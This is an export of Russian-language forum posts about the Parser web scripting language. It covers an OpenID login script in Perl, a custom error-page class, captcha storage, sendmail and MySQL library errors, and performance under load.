my $SECRET = 'вставьте сюда что-нть своё.';\
# Также замените http://lj.bougakov.com/table/login/\
# /return.html в тексте ниже на свой URI\
\
my $cgi = new CGI;\
\
if ($cgi->param(\"user\")) {\
	 my $csr = init_consumer($cgi);\
	 my $url;\
	 if ($cgi->param('site')) {\
	 	$url = sprintf($cgi->param('site'),$cgi->param('user'));\
	 } else {\
	 	$url = $cgi->param('user');\
	 }\
	 print STDERR \"URL entered: $url\\n\";\
	 my $claimed_identity = $csr->claimed_identity($url);\
		if (! defined $claimed_identity) {\
			foreach my $par ($cgi->param) {\
				print STDERR \"$par = \".$cgi->param($par).\"\\n\";\
			}\
			print \"No identity on given URL\";\
		}\
		my $check_url = $claimed_identity->check_url(\
			return_to =>\
			$cgi->url(-full=>1,-query=>0).\"?openidvfy=1\",\
			trust_root=>$cgi->url(-base=>1));\
		print $cgi->redirect(-location=> $check_url);\
} elsif ($cgi->param(\"openidvfy\")) {\
	my $csr = init_consumer($cgi);\
	if (my $setup_url = $csr->user_setup_url) {\
		print $cgi->redirect(-location=>$setup_url);\
		exit(0);\
	} elsif	($csr->user_cancel) {\
		print $cgi->header('text/html');\
		print $cgi->start_html(\"Login cancelled\"),\
			$cgi->h1(\"Login cancelled\"),\
			$cgi->p(\"You've cancelled login on other site\"),\
			$cgi->end_html;\
	} elsif (my $vident = $csr->verified_identity) {\
\
	my $timestamp = time();\
	my $hash = md5_hex($SECRET . \"|\" . $vident->url . \"|\".$ENV{HTTP_USER_AGENT}.\"|\".$ENV{REMOTE_ADDR}.\"|\".$ENV{HTTP_VIA}.\"|\".$timestamp);\
	print $cgi->redirect('http://lj.bougakov.com/table/login/return.html?timestamp=' . $timestamp . '&identity_url=' . uri_escape($vident->url) . '&token=' . uri_escape($hash) . '&dummy=1');\
\
	#	print $cgi->header('text/html');\
	#	print $cgi->start_html(\"Authentication successful\"),\
	#		$cgi->h1(\"Authentication successfull\"),\
	#		$cgi->p(\"You've successfully logged into our site as\",\
	#			$cgi->a({-href=>$vident->url},$vident->display),\". Congratulations!\"),\
	#		$cgi->end_html;\
	} else {\
		print $cgi->header('text/html');\
		print $cgi->start_html(\"Authentication failed\"),\
			$cgi->h1(\"Authentication failed\"),\
			$cgi->p(\"Error validating identity:\",\
			$cgi->escapeHTML($csr->err));\
			$cgi->end_html;\
	}\
\
} else {\
	# Print out form to enter OpenID URL\
	my %site_list=(\
		'http://users.livejournal.com/%s'=>'LiveJournal');\
#		'http://lj.rossia.org/users/%s'=>'LJ.Rossia.org',\
#		'http://www.greatestjournal.com/users/%s'=>'GreatestJournal',\
#		'%s','Other (enter full URL into Login field');\
	print $cgi->header(\"text/html\"),\
	$cgi->start_html(\"My test open_id page\"),\
	$cgi->h1(\"My test open_id page\"),\
	$cgi->start_form(-method=>'POST'),\
	\"Login:\",$cgi->textfield(-name=>\"user\",-size=>40),\"<br>\",\
	\"Site:\",\
	$cgi->popup_menu(-name=>\"site\",-Values=>[sort keys(%site_list)],\
		-labels=>\\%site_list),\
	\"<br>\",$cgi->submit(-name=>'login',-value=>'Log in'),\
	$cgi->end_form,\
	$cgi->end_html;\
	exit(0);\
}\
\
sub init_consumer {\
	my $cgi=shift;\
	 return Net::OpenID::Consumer->new(\
	   ua	 => LWP::UserAgent->new(),\
	   args  => $cgi,\
	   consumer_secret => $SECRET ,\
	   required_root => $cgi->url(-base=>1),\
	 );\
}[/code]"
"69842","Как огранизовать изменение размера изображения \"на лету\"?\
например: есть файл 1.jpg (500x600 пикселей 350кб). нужно сделать так, чтобы при выводе предпросмотра разрешение было 100х120 и размер был меньше.\
\
если файл *.gif то размер прекрасно уменьшается в 2 раза следующим кодом:\
$mygif[^image::load[/base/gallery/logo.gif]] \
$resample_width($mygif.width/2) \
$resample_height($mygif.height/2) \
$mygif_new[^image::create($resample_width;$resample_height)] \
^mygif_new.copy[$mygif](0;0;$mygif.width;$mygif.height;0;0;$mygif_new.width;$mygif_new.height) \
$response:body[^mygif_new.gif[]]    	\
но тогда на страницу выводится только это изображение.\
\
попытка сделать тоже самое для *.jpg дает ошибку 'copy' using unitialized image object [parser.runtime]\
\
Как можно решить эту задачу?\
Заранее спасибо!"
"69843","http://www.parser.ru/examples/autoindex/\
http://www.kulikoff.net/parser3/img/"
"69845","прочитал на форуме что на парсере openid реалтзовать нельзя, скачал class.openid.php -- запускаю его из парсера\
\
там есть такая проверочка на которой скрипт виснет\
\
if ((stripos($a, 'http://') === false)\
   && (stripos($a, 'https://') === false)){\
   $a = 'http://'.$a;\
}\
\
я php не знаю толком\
не пойму что вызывает ошибку\
и почему такое странное сравнение ===\
поможите, плиз"
"69846","http://www.php.net/manual/ru/language.operators.comparison.php"
"69847","Правда мне не понравились цветовая гамма, но это же не столь критично."
"69848","Все файлы в UTF-8 response и request тоже. Да, через GET, выглядит примерно, так: «?q=тест»."
"69849","Проблема в том, что имеется очень большой сайт, написанный на parser2. Его требуется восстановить из бекапа. Это я к тому, что на parser3 перейти ну совсем нереально...\
При установке заработал единственный дистрибутив - parser10_linux22_nosql_sp6. Требуется всё-таки завести mysql, тут, видимо, проблема с версией mysql (стоит пятая), т.к. в логах при пробах разных дистрибутивов из наиболее осмысленного встречается такое:\
\
[code]error while loading shared libraries: libmysqlclient.so.6: cannot open shared object file\
[/code]\
\
Вопрос - как можно выйти из ситуации? Насколько я понял, пересобрать parser2 уже не представляется возможным... Возможно, поможет откат mysql? До какой версии?\
\
Какие вообще возможны варианты?"
"69850","И ещё непонятная ошибка в логах при пробе одной из static-версий:\
\
[code]failed to open log file\
fopen: Permission denied[/code]\
\
Хотя при этом nosql-версия работает нормально."
"69851","Как реализовано? \
Загружаете файл из exception.file как таблицу и выбираете строки?"
"69852","правильно ли я понимаю, что если я храню пароль в базе в таком виде:\
\
^math:crypt[$form:password;^$apr1^$]\
\
то реализация услуги \"напомнить пароль\" -- невозможна. Можно только сбрасывать пароль и высылать на почту новый?"
"69853","[code]		^MAIN:CLASS_PATH.menu{\
			^if(^exception.comment.pos[$MAIN:CLASS_PATH.path] > 0 && ^MAIN:CLASS_PATH.path.length[] > ^sLocatedPath.length[]){\
				$sLocatedPath[$MAIN:CLASS_PATH.path]\
				$sTrimmedPath[^exception.comment.mid(^exception.comment.pos[$MAIN:CLASS_PATH.path])]\
				^sTrimmedPath.match[(${sLocatedPath}.+)\\((\\d+)\\:(\\d+)\\).*][g]{\
					$sExceptionFilePath[$match.1]\
					$iExceptionLine($match.2)\
					$iExceptionColumn($match.3)\
				}\
			}\
		}\
		^try{\
#			load the needed lines from file as table\
			$fExceptionFile[^file::load[text;$sExceptionFilePath]]\
			$tExceptionFile[^fExceptionFile.text.split[^#0A]]\
			$tNew[^table::create{lineNumber	lineValue}]\
			^tExceptionFile.menu{\
				^tNew.append{^tExceptionFile.line[]	$tExceptionFile.piece}\
			}\
			$tExceptionFile[^tNew.select(^tNew.line[] >= $iExceptionLine - 5 && ^tNew.line[] <= $iExceptionLine)]\
\
#			define just a file name\
			$sExceptionFile[^sExceptionFilePath.split[/;rh]]\
			$sExceptionFile[$sExceptionFile.0]\
\
#			print out\
			<h3>Lines $tExceptionFile.lineNumber&mdash^;^tExceptionFile.offset[set](-1)$tExceptionFile.lineNumber from &ldquo^;$sExceptionFile&rdquo^;</h3>\
			<table class=\"data\">\
			^tExceptionFile.menu{\
				<tr class=\"^if(^tExceptionFile.offset[] % 2){even}{odd}^if(^tExceptionFile.line[] == ^tExceptionFile.count[]){ nb}\">\
					<td class=\"number\">$tExceptionFile.lineNumber</td>\
					<td class=\"center\">\
						$sLine[$tExceptionFile.lineValue]\
						^sLine.match[\\t][g]{<span class=\"tab\">TAB</span>}&para^;\
					</td>\
				</tr>\
			}\
			</table>\
		}{\
			$exception.handled(1)\
		}[/code]"
"69854","т.к. exception -- это всё таки не типовая вещь, которая не должна быть на сайте, и для отображения которой порой имеется очень ограниченные ресурсы: поместите ваш код в отдельный класс, который можно подключать в @unhandled_exception с помощью ^use при необходимости.\
\
ну и до кучи: лучше передать $MAIN:CLASS_PATH параметром, а не лазить из этого кода наружу (btw: чем больше точек в обращении к полю -- тем медленнее это работает, в том числе и в parser).\
\
P.S. вы уже зарегистрировали доменное имя unhandled-exception.ru? а то сайт, я смотрю, уже готов %-)"
"69856","Теперь мне даже интересно, что Олег на нём разместит )"
"69860","[code]\
@main[]\
^connect[sqlite://$request:document-root/../data/testdb.s3db]{\
  ^void:sql{\
    DROP TABLE IF EXISTS test\
  }\
  ^void:sql{CREATE TABLE test (id INTEGER)}\
  $tTest[^table::sql{SELECT * FROM test}]  ^rem{-> OK}\
  $tTest[^table::sql{EXPLAIN SELECT * FROM test}]  ^rem{-> [b]Unhandled exception 0xC0000005 at 0x003E1349[/b]}\
  $tTest[^table::sql{EXPLAIN QUERY PLAN SELECT * FROM test}]  ^rem{-> OK}\
}[/code]\
\
Бага?"
"69862","сами наступили %-)\
\
чтобы воспроизводилось (и то не везде, на win32 не падает) в начало main надо добавить смену $request:charset + ^memory:compact[]\
\
P.S. если кому-то надо срочно -- пишите, сообщу где внести маленькую правку (+ надо будет пересобрать) чтобы заработало в 3.3.0."
"69863","предполагаю, что 3.3.0 тоже работает, т.к. ни драйвер ни интерфейс не менялся.\
\
предлагаю обновить драйвер и взять свежую sqlite3.dll/so. ну и проверить \"БД\" имеющимися у sqlite средствами (если таковые есть, я не пользуюсь, поэтому не знаю).\
\
\
P.S. а к чему такой хитрый путь к \"БД\" (на win32 такое не заработало, т.к. путь содержит букву диска)? путь относительно document-root чем-то не угодил?"
"69864","Путь, кстати, до обновления работал, после нет, заменил на / - пока полет нормальный. Спасибо\
\
Извиняюсь, что забыл сразу версию указать (Win64, p3.2.2)"
"69865","я использую генератор случайной кантинки http://softtime.ru/info/randomimage.php?down=randomimage.zip\
\
включил скрипт в код своей страницы - картинку геренирует отлично, но вот только Полученный код запоминается в сессию ($HTTP_SESSION_VARS['securityCode'] или $_SESSION['securityCode']), а средсвами Парсера его я не могу получить. Конструкция $env:переменная_окружения не дает желаемого результата.\
\
как побороть?\
если нельзя побороть, то какая есть альтернатива?\
Заранее спасибо!"
"69866","будем иметь в виду... срочно не требуется"
"69867","Запись в логе парсера:\
[Tue May 26 16:36:45 2009] [48872] /local/url: /home...default.p(739:69): 'заголовок ошибки' <no comment> [parser.interrupted] [uri=/.., method=GET, cl=0]\
Что такое cl=0?"
"69870","единственное решение которое мне пришло в голову - это сохранять секретный код не в сессию, а в куки. незню плохо ли это или хорошо, но работает."
"69872","Создано что-то на подобе гостевой книги по предложенному в документации алгоритму. На индекс.хтмл выводятся:\
ФОРМА добавеления сообщений\
      __________\
имя: |__________|\
         __________\
и-мэйл: |__________|\
        ___________________________\
текст: |                           |\
       |                           |\
       |                           |\
       |___________________________|\
 _________   ________\
|отправить| |очистить|\
|_________| |________|\
\
CООБЩЕНИЯ\
 _____________________\
| Имя | И-мэйл | Дaта |\
|_____|________|______|\
| Текст               |\
|_____________________|\
 _____________________\
| Имя | И-мэйл | Дaта |\
|_____|________|______|\
| Текст               |\
|_____________________|\
\
Всё нормально работает.\
\
НО если добавлено больше трёх сообщений загружается пустая страница.\
В ЧЁМ ДЕЛО?"
"69873","В таких случаях принято читать FAQ - там описано каким образом стоит задавать вопросы и искать проблемы."
"69874","В общем, как-то так.\
\
[code]\
###############################################################################\
# Custom exceptions handling, version 0.1\
###############################################################################\
\
@CLASS\
CustomException\
\
\
\
###############################################################################\
@auto[]\
$response:content-type[\
	$.value[text/html]\
	$.charset[$response:charset]\
]\
^if($env:REMOTE_ADDR eq '127.0.0.1'){\
	$bShow(true)\
}{\
	$bShow(false)\
	^if($cookie:debug == 1){\
		$bShow(true)\
		^if(def $form:undebug || $form:nameless eq 'undebug'){\
			$bShow(false)\
			$cookie:debug[\
				$.value(0)\
				$.expires[session]\
			]\
		}\
	}{\
		^if(def $form:debug || $form:nameless eq 'debug'){\
			$bShow(true)\
			$cookie:debug[\
				$.value(1)\
				$.expires[session]\
			]\
		}\
	}\
}\
$result[]\
#end @auto[]\
\
\
\
###############################################################################\
@show[hException;tStack;tClassPath]\
^if($self.bShow){\
	^if(!def $tClassPath){\
		$tClassPath[$MAIN:CLASS_PATH]\
	}\
	$result[^CustomException:customHandler[$hException;$tStack;$tClassPath]]\
}{\
	$result[^CustomException:defaultHandler[]]\
}\
#end @show[]\
\
\
\
###############################################################################\
@customHandler[hException;tStack;tClassPath][sExceptionFile;tExceptionFile;iExceptionLine;iExceptionColumn;sLocatedPath;sTrimmedPath;sLine;tNew]\
<html>\
<head>\
	<title>Unhandled exception.</title>\
	<style type=\"text/css\">\
		body {margin:0; padding:0; font:normal 0.8em Tahoma, Arial}\
		h1 {margin:0.75em 0 0.3em 0; padding:0; font:normal 2em Arial; color:white}\
		h2 {margin:0.75em 0 0.3em 0; padding:0; font:normal 1.75em Arial; color:white}\
		h3 {margin:1em 0 0.5em 0; padding:0; font:bold 1em Tahoma; color:white}\
		p {margin:0}\
		pre {font-size:1.25em; margin:0}\
		b.nb {color:#444; background-color:#fc0; padding:0 0.2em; font-weight:normal}\
		span.tab {background-color:#777; margin:0 0.1em; padding:0 1em; color:#aaa}\
		table, td, tr {padding:0; margin:0; vertical-align:top; border:0; border-collapse:collapse}\
		div.title {padding:0.5em 5% 2em; background-color:#69c; color:white}\
		div.comment {padding:0.5em 5% 2em; background-color:#777; color:white}\
		div.body {padding:0.5em 5% 2em; background-color:#aaa}\
		table.data {font-size:0.95em; color:white}\
		table.data tr.even {background-color:#959595}\
		table.data tr.odd {background-color:#555}\
		table.data tr.nb {background-color:#fc0; color:#444}\
		table.data td {padding:0.25em 0}\
		table.data td.number {padding:0.25em 0.5em}\
		table.data td.line {text-align:right}\
		table.data td.column {padding-right:0.5em}\
		table.data td.center {white-space:nowrap; padding:0.25em 1em}\
	</style>\
</head>\
<body>\
	<div class=\"title\">\
		<h1>Error occured at &ldquo;$request:uri&rdquo;</h1>\
		^if(def $hException.source){\
			<p>Source &mdash^; ${hException.source}</p>\
		}\
		^if(def $hException.type){\
			<p>Exception type: <b>$hException.type</b></p>\
		}\
		^if(def $hException.file){\
			<p>Exception location: <b>$hException.file</b> in line <b>$hException.lineno</b> at char <b>$hException.colno</b></p>\
		}\
	</div>\
	<div class=\"comment\">\
		<h2>Generic comment</h2>\
		^tClassPath.menu{\
			^if(^hException.comment.pos[$tClassPath.path] > 0 && ^tClassPath.path.length[] > ^sLocatedPath.length[]){\
				$sLocatedPath[$tClassPath.path]\
				$sTrimmedPath[^hException.comment.mid(^hException.comment.pos[$tClassPath.path])]\
				^sTrimmedPath.match[(${sLocatedPath}.+)\\((\\d+)\\:(\\d+)\\).*][g]{\
					$sExceptionFilePath[$match.1]\
					$iExceptionLine($match.2)\
					$iExceptionColumn($match.3)\
				}\
			}\
		}\
		^if(def $sExceptionFilePath){\
			<p>^untaint[html]{^hException.comment.match[\\/([^^\\/]*?)\\(][]{/<b class=\"nb\">$match.1</b> (}}</p>\
		}{\
			$sExceptionFilePath[^hException.file.mid(^request:document-root.length[])]\
			$iExceptionLine($hException.lineno)\
			$iExceptionColumn($hException.colno)\
\
			<p>^untaint[html]{^hException.file.match[\\/([^^\\/]*?)^$][]{/<b class=\"nb\">$match.1</b>}} (${iExceptionLine}:$iExceptionColumn): $hException.comment</p>\
		}\
		^try{\
#			load the needed lines from file as table\
			$fExceptionFile[^file::load[text;$sExceptionFilePath]]\
			$tExceptionFile[^fExceptionFile.text.split[^#0A]]\
			$tNew[^table::create{lineNumber	lineValue}]\
			^tExceptionFile.menu{\
				^tNew.append{^tExceptionFile.line[]	^taint[html][$tExceptionFile.piece]}\
			}\
			$tExceptionFile[^tNew.select(^tNew.line[] >= $iExceptionLine - 5 && ^tNew.line[] <= $iExceptionLine)]\
\
#			define just a file name\
			$sExceptionFile[^sExceptionFilePath.split[/;rh]]\
			$sExceptionFile[$sExceptionFile.0]\
#			print out\
			<h3>Lines $tExceptionFile.lineNumber&mdash^;^tExceptionFile.offset[set](-1) $tExceptionFile.lineNumber from &ldquo^;$sExceptionFile&rdquo^;</h3>\
			<table class=\"data\">\
			^tExceptionFile.menu{\
				<tr class=\"^if(^tExceptionFile.offset[] % 2){even}{odd}^if(^tExceptionFile.line[] == ^tExceptionFile.count[]){ nb}\">\
					<td class=\"number\">$tExceptionFile.lineNumber</td>\
					<td class=\"center\">\
						$sLine[^taint[html][^tExceptionFile.lineValue.match[\\t][g]{%%%TA6%%%}]]\
						$sLine[^sLine.match[%%%TA6%%%][g]{<span class=\"tab\">TAB</span>}]\
						$sLine&para^;\
					</td>\
				</tr>\
			}\
			</table>\
		}{\
			$exception.handled(1)\
		}\
	</div>\
	<div class=\"body\">\
		^if($tStack){\
			<h2>Stack review</h2>\
			<table class=\"data\">\
			^tStack.menu{\
				<tr^if(^tStack.offset[] % 2){ class=\"even\"}>\
					<td class=\"number\">^eval(^tStack.count[] - ^tStack.offset[]).</td>\
					<td>$tStack.name</td>\
					<td class=\"center\">$tStack.file</td>\
					<td class=\"line\">$tStack.lineno</td>\
					<td>:</td>\
					<td class=\"column\">$tStack.colno</td>\
				</tr>\
			}\
			</table>\
		}{\
			<h2>No stack available</h2>\
		}\
	</div>\
</body>\
</html>\
#end @customException[]\
\
\
\
###############################################################################\
@defaultHandler[][dDate]\
<html>\
	<head>\
		<title>500 error at $env:SERVER_NAME</title>\
		<style type=\"text/css\">\
			body {margin:0; padding:0; font:normal 0.8em Tahoma, Arial}\
			h1 {margin:0.75em 0 0.3em 0; padding:0; font:normal 2em Arial; color:white}\
			div.title {padding:0.5em 5% 2em; background-color:#69c; color:white}\
			div.body {padding:0.5em 5%; background-color:#aaa; color:white}\
		</style>\
	</head>\
<body>\
	<div class=\"title\">\
		<h1>Server &ldquo;$env:SERVER_NAME&rdquo; is down.</h1>\
		<p>It's either being maintenanced or not working properly. Come back soon.</p>\
	</div>\
	<div class=\"body\">\
		$dDate[^date::now[]]\
		$env:SERVER_NAME at $env:SERVER_ADDR &mdash; ^dDate.sql-string[].\
	</div>\
</body>\
</html>\
#end @defaultHandler[]\
\
\
\
[/code]\
\
Ну и вызов:\
\
[code]\
###############################################################################\
@unhandled_exception[e;s]\
^use[CustomException.p]\
$result[^CustomException:show[$e;$s;$MAIN:CLASS_PATH]]\
#end @unhandled_exception[]\
[/code]"
"69875","Это дело ясное. \
Но тут проблема в том, что лог-файл - он есть, и писать в него можно, что без проблем делает nosql-версия (почему я об этом и упомянул). Лежит рядом с самим .cgi в cgi-bin и права имеет 0777.\
\
Может быть, парсер пытается писать логи в какой-то другой файл?"
"69876","Выглядит.\
\
То есть, видно, зачем и полосатость и выделения, но при беглом взгляде — каша.\
А ошибку надо понимать сходу.\
\
Имя файла лучше выделять цветом, чем яркой плашкой\
\
Я бы цвета приглушил, если не сказать, задушил.\
\
Как раз то, что плохо в обычных сообщениях и не улучшено: приходится читать всю строку, выискивая что случилось, и что ожидалось, а, главное, где.\
\
Exception location: /home/u18833/site.ru/www/auto.p in line 51 at char 25\
—>\
Exception location: /home/u18833/site.ru/www/auto.p (51:25)\
\
/home/u18833/site.ru/www/G/modules/Guestbook.p (14:14): syntax error, unexpected ']', expecting '[' or '{' or '('\
—>\
/home/u18833/site.ru/www/G/modules/Guestbook.p (14:14)\
syntax error: unexpected ']'\
expecting: '[' or '{' or '('"
"69878","Открыто опытным путём.\
\
Вообще, выводится три типа ошибок:\
[code]parser2.cgi: relocation error: parser2.cgi: symbol errno, version GLIBC_2.0 not defined in file libc.so.6 with link time reference[/code]\
\
[code]parser2_RH71.cgi: error while loading shared libraries: libmysqlclient.so.10: cannot open shared object file: No such file or directory[/code]\
\
и вот как раз\
[code]failed to open log file\
fopen: Permission denied[/code]\
\
Какую из них проще победить и есть ли вообще какие-то пути?"
"69881","Реализуется очень просто - http://recaptcha.net/apidocs/captcha/"
"69885","Это ужасно.\
Теряется сам смысл защиты от роботов — робот сможет посмотреть в куки без проблем и заполнить соответствующее поле."
"69890","У меня реализовано так: http://c-stud.ru/send.html\
\
Простенько и хорошо работает.\
Ответ сохраняется во временный hashfile  и потом сравнивается с ответом который дал пользователь.\
Картика создается через Image (класс)"
"69891","Код\
[code]@main[]\
$str[абвгде]\
^str.trim[both;е][/code]\
выводит битые кириллические символы [quote]?бвгд[/quote]\
\
Если потом добавить любой match в postprocess\
[code]@postprocess[sBody]\
$result[^sBody.match[.][g]{*}[/code]]\
падает с ошибкой [quote]validation of UTF-8 string failed while pcre_exec (-10).[/quote]\
\
Без trim'а postprocess не падает. Файлы в UTF.\
Была похожая [url=\"http://www.parser.ru/forum/?id=69108\"]ветка[/url], но решения проблемы там не нашёл.\
\
Linux x64, Parser 3.4.0b (head), Parser 3.3.0 (с сайта)."
"69893","на втором парсере такая ошибка при отправке письма\
[sendmail reported error: UNKNOWN, #1]\
\
хостер -- руцентр\
\
что это может значить?"
"69897","ответ из руцентра:\
======================\
На нашем хостинге sendmail доступен по адресу /usr/sbin/sendmail.\
Боюсь, определить точную причину мы не можем. Максимум, что мы можем Вам\
предоставить, это лог программы ktrace о том, что происходило при\
запуске скрипта. Если на основании этого лога разработчик сможет\
определить, в чем ошибка, пожалуйста, сообщите нам.\
\
Скрипт запускался на файле ~/имя_сайта.ru/docs/test/index_new.html со\
следующим текстом:\
\
^sendmail[To: test@nicmail.ru]\
\
Соответственно если передать программе Sendmail файл c текстом\
\
To: test@nicmail.ru\
\
следующим образом:\
\
/usr/sbin/sendmail -t < имя_файла\
\
то отправляется пустое письмо на test@nicmail.ru.\
\
Вот что происходит внутри parser2.cgi:\
\
24165 parser2.cgi CALL  access(0x808a000,0x4)\
24165 parser2.cgi NAMI \
\"/home/имя_папки/имя_сайта.ru/docs/test/new_index.html\"              \
24165 parser2.cgi RET   access 0                                      \
24165 parser2.cgi CALL  stat(0x808a000,0xbfbfe810)                    \
24165 parser2.cgi NAMI \
\"/home/имя_папки/имя_сайта.ru/docs/test/new_index.html\"              \
24165 parser2.cgi RET   stat 0                                        \
24165 parser2.cgi CALL  open(0x808a000,0,0x28093600)                  \
24165 parser2.cgi NAMI \
\"/home/имя_папки/имя_сайта.ru/docs/test/new_index.html\"              \
24165 parser2.cgi RET   open 3                                        \
24165 parser2.cgi CALL  read(0x3,0x8088e00,0x1f)                      \
24165 parser2.cgi GIO   fd 3 read 31 bytes                            \
       \"                                                               \
^sendmail[To: smur@nicmail.ru]\"                                \
24165 parser2.cgi RET   read 31/0x1f                                  \
24165 parser2.cgi CALL  close(0x3)                                    \
24165 parser2.cgi RET   close 0                                       \
24165 parser2.cgi CALL  access(0x8066bfd,0x1)                         \
24165 parser2.cgi NAMI  \"/usr/lib/sendmail\"                           \
24165 parser2.cgi RET   access 0                                      \
24165 parser2.cgi CALL  pipe                                          \
24165 parser2.cgi RET   pipe 3                                        \
24165 parser2.cgi CALL  pipe                                          \
24165 parser2.cgi RET   pipe 5                                        \
24165 parser2.cgi CALL  pipe                                          \
24165 parser2.cgi RET   pipe 7                                        \
24165 parser2.cgi CALL  fork                                          \
24165 parser2.cgi RET   fork 24167/0x5e67                             \
24165 parser2.cgi CALL  close(0x6)                                    \
24165 parser2.cgi RET   close 0                                       \
24165 parser2.cgi CALL  close(0x3)                                    \
24165 parser2.cgi RET   close 0                                       \
24165 parser2.cgi CALL  close(0x8)                                    \
24165 parser2.cgi RET   close 0                                       \
24165 parser2.cgi CALL  write(0x4,0x8088e20,0x13)                     \
24165 parser2.cgi GIO   fd 4 wrote 19 bytes                           \
      \"To: smur@nicmail.ru\"                                           \
24165 parser2.cgi RET   write 19/0x13                                 \
24165 parser2.cgi CALL  close(0x4)                                    \
24165 parser2.cgi RET   close 0                                       \
24165 parser2.cgi CALL  read(0x5,0x808b000,0x3ff)                     \
24166 httpd    RET   fork 0                                           \
24166 httpd    CALL  close(0x6)                                       \
24166 httpd    RET   close 0                                          \
24166 httpd    CALL  dup2(0x7,0x1)                                    \
24166 httpd    RET   dup2 1                                           \
24166 httpd    CALL  close(0x7)                                       \
24166 httpd    RET   close 0                                          \
24166 httpd    CALL  close(0x5)                                       \
24166 httpd    RET   close 0"
"69898","эта ошибка для ее исправления требует и знания парсера, и хорошего знания linux. Полагаю, таких людей относительно немного, поэтому нужно раз и навсегда сию проблему решить.\
Вот весь список сообщений, но решения в них нет.\
http://yandex.ru/yandsearch?text=driver%20failed%20to%20initialize%20client%20library%20'libmysqlclient.so'%2C%20libmysqlclient.so%3A%20cannot%20open%20shared%20object%20file%3A%20No%20such%20file%20or%20directory&pag=u&surl=parser.ru&clid=14585&261aff882b27ace4a549469c78165ebc\
\
В этой теме есть некоторое приближение к решению, но решения всё еще нет. http://www.parser.ru/forum/?id=56847\
\
Итак, \
1) Где найти 32/64 libmysqlclient.so ? Мы перерыли dev.mysql.com, но так и не нашли. Можно слать на мыло george()sibarit.ru, выложу на постоянный доступ. Или как скомпилировать MySQL, чтобы он появился?\
2) Что с ним делать? Этот файл вызывается сам по себе или из libparser3mysql.so? Как правильно изменить этот код в auto.p? Как правильно проставить симлинк?\
$SQL[\
$.drivers[^table::set{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	libmysqlclient.so\
}]\
]"
"69899","Версия 3.3.0, которая лежит в CVS, собирается и работает на 64-битных системах.\
\
Сборка Парсера с использованием скриптов build*.sh, которые идут с Парсером задача тривиальная. Драйверы Парсера для БД собираются штатными средствами unix - configure, make\
\
p.s. http://dev.mysql.com/downloads/mysql/5.1.html#linux-x86-32bit-rpms - отсюда можно скачать библиотеки для x86.\
p.p.s. limbmysqlclient.so вызывается из libparser3mysql.so. Ищется по стандартным путям для билиотек. Если хотите положить в какое-то специфическое место, то необходимо указать полный путь от корня диска."
"69902","Выслал на почту.\
\
У меня libmysqlclient.so лежит там же где и libparser3mysql.so\
\
[code]\
$SQL[\
$.drivers[^table::set{protocol driver client\
mysql $sqldriversdir/libparser3mysql.so $sqldriversdir/libmysqlclient.so\
}]\
]\
[/code]"
"69903","[quote]Версия 3.3.0, которая лежит в CVS, собирается и работает на 64-битных системах.[/quote]\
\
Ну, \"работает\" - слишком сильно сказано.  В utf8 все работает более-менее, перекодировка не работает."
"69904","У меня на FreeBSD 7.2 AMD64 все прекрасно работает. Доктор, что я не так делаю? \
\
Правда у меня 3.4.0b, но в данном случае это не принципиально. Необходимые правки были влиты в ветку 3.3.0."
"69908","Скачал сырцы gc 7.0, собралось без ошибок.\
Пишу ./configure --with-static-gc=../gc7 --with-mysqlclient=../sql/mysql\
Вылазит указанная в заголовке ошибка\
config.log:\
configure:4178: gcc -o conftest -g -O2   conftest.c  -L../gc7 -Wl,-Bstatic -lgc -Wl,-Bdynamic >&5\
/usr/bin/ld: cannot find -lgc\
Таки при чем тут /usr/bin/ld?\
ну и до кучи \
configure:3982: checking for mysql client\
configure:3993: result: could not guess"
"69910","А тариф на виртуале на качество работы не влияет,\
только на объмы квот: дисковое пространство, трафик, кол-ва бд, и т.п."
"69911","Ребят, давно на парсере уже. Встал вопрос делать средний такой портальчик на ~20К суточных посетителей - тип нагрузки: посты, база фирм, картинки. Понимаю, что многое зависит от реализации (картинки положить вообще на отдельный сервер с ngnix, статику закешировать и т.п.) \
\
Скажите честно, пока я не врюхался перед заказчиком, какие у вас есть личные примеры по нагрузке на Parser+Apache (количества запросов сутки или сек)и он при этом работал...\
Ответ любой важен, но желательно не абстрактный.\
Тут очень многие, и я в том числе, собирали на нем на ура обычные сайты, понимая, что на них много трафа не будет. Но вот что-то объемнее.. побаиваюсь без примеров.\
То есть, хоть какую-то информацию поведайте (я конечно на benchmark vs php,perl,python,ruby не расчитваю) - но пример в стиле: Стоял dedicated \
2 X AMD Athlon, памяти столько-то держал 10К в сутки, загрузка проца примерно столько-то, памяти отжирал столько-то. Работал как cgi-скрипт или как модуль апача.\
\
Заранее, спасибо, думаю этот ответ многие ждали."
"69912","... поэтому по данной проблеме могу высказать только общие соображения, исходя из опыта оптимизации своих систем.\
\
Никаких серьезных проблем с производительностью Парсера нет, а в версии 3.4.0 ситуация будет еще лучше. При проектировании стоит сразу заложить возможность горизонтального масштабирования системы: шардинг базы данных, возможность чтения данных с реплик, размазывание кода на несколько бекэндов (возможно стоит использовать nginx для сборки страничек и xslt-трансформаций), использование внешних поисковых серверов для поиска по БД и пр. И не обязательно все это делать сразу - достаточно просто составить план жизни проекта в этой ситуации. При программировании можно периодически профилировать код, чтобы понимать какие куски создают реальную проблему и оптимизировать именно их, а рецепты обычные - кеширование, денормализация.\
\
p.s. Связка Парсер+Апач вполне работоспособна (даже в cgi-варианте), главное отсечь \"медленных клиентов\", что достигается проксированием запросов через тотже nginx (про фронтенды и прокси [url=http://dklab.ru/chicken/nablas/50.html]хорошо написано[/url] у Дмитрия Котерова)."
"69913","Narmed.ru - стоял на виртуаьном хостинге Мастерхоста, стал падать только при >23к/сут, после превышения лимита на 64 одновременных процесса."
"69914","Хотя это было на Парсере 3.1, сейчас, возможно, исправили."
"69915","Помогите плиз с данной проблемой!\
\
Мне нужно написать галерею данные о которой лежат в XML а за показ данных в виде 3х колоночной таблицы отвечает XSLT. Сейчас это вглядит так:\
\
\
[code]\
<?xml version=\"1.0\" encoding=\"utf-8\"?>\
<?xml-stylesheet type=\"text/xsl\" href=\"food.xsl\"?>\
<gallery>\
	<page name=\"1\">\
		<image>\
			<fullsize>chicken01_min.jpg</fullsize>\
			<thumbnail>chicken01_t.jpg</thumbnail>\
			<name>Курочка 01 имя</name>\
			<description>Курочка 01 описание</description>\
		</image>\
		<image>\
			<fullsize>chicken02_min.jpg</fullsize>\
			<thumbnail>chicken02_t.jpg</thumbnail>\
			<name>Chicken 02 name</name>\
			<description>Chicken 02 decription</description>\
		</image>\
		<image>\
